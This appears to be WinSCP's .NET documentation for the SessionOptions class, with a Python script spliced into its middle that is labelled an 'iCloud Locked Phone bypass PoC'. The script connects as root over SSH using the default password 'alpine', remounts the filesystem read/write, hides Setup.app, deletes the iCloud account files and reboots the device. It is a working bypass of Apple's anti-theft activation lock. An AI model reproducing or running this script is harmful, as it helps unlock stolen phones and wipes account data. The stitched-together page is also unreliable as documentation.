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SessionOptions Class

Defines information to allow an automatic connection and authentication of the session. Is used with the Session.Open and Session.ScanFingerprint methods.

You can have WinSCP generate a code template for SessionOptions for you.

Syntax
Constructors
Methods
Remarks
Example

Syntax

Namespace: WinSCP

public sealed class SessionOptions

VB.NET

Public NotInheritable Class SessionOptions

Constructors

Name	Description
SessionOptions()	Default constructor.

“"” iCloud Locked Phone bypass PoC you need to get the SSH server on your iDevice running first “"” import subprocess import paramiko

RPORT = 44 LPORT = 2222 password = “alpine”

iproxy = subprocess.Popen([“iproxy”, str(LPORT), str(RPORT)], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT) ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) print(“Initiating SSH connection”) while True:

  try:
      ssh.connect('localhost', username='root', password=password, port=LPORT)
      break
  except:
      print("Failed, retrying")
      continue

print(“Connection established”) print(“Mounting filesystem as read/write”) ssh.exec_command(“mount -o rw,union,update /”) print(“Cleaning mount_rw file”) ssh.exec_command(’echo “" > /.mount_rw’) print(”Hiding Setup.app“) ssh.exec_command(”mv /Application/Setup.app /Application/Setup.app.backup“) print(”Clearing UI cache“) ssh.exec_command(”uicache –all“) print(”Clearing iCloud user“) ssh.exec_command(”rm -rf /var/mobile/Library/Accounts/*“) print(”Respringing device“) ssh.exec_command(”killall backboardd“) print(”Finishing exploit script“) print(”Restarting your device“) ssh.exec_command(”reboot") iproxy.terminate() iproxy.kill()

Methods

Name	Description
AddRawSettings	Allows configuring any site settings using raw format as in an INI file.
ParseUrl	Parses session URL into its components.
ToString	Returns `Name`. (Overrides `Object.ToString()`.)

Remarks

When using the SessionOptions instance with the Session.Open, you need to fill in all properties required to connect and authenticate your session automatically.

You always need to fill in Protocol, HostName and UserName.1

In most cases you need to fill in Password. Exceptions are:

You use different authentication method than a password authentication, such as public key authentication for SSH session;
The server does not require password.

For SSH (SFTP/SCP) session you need to fill in the SshHostKeyFingerprint to verify the expected server host key.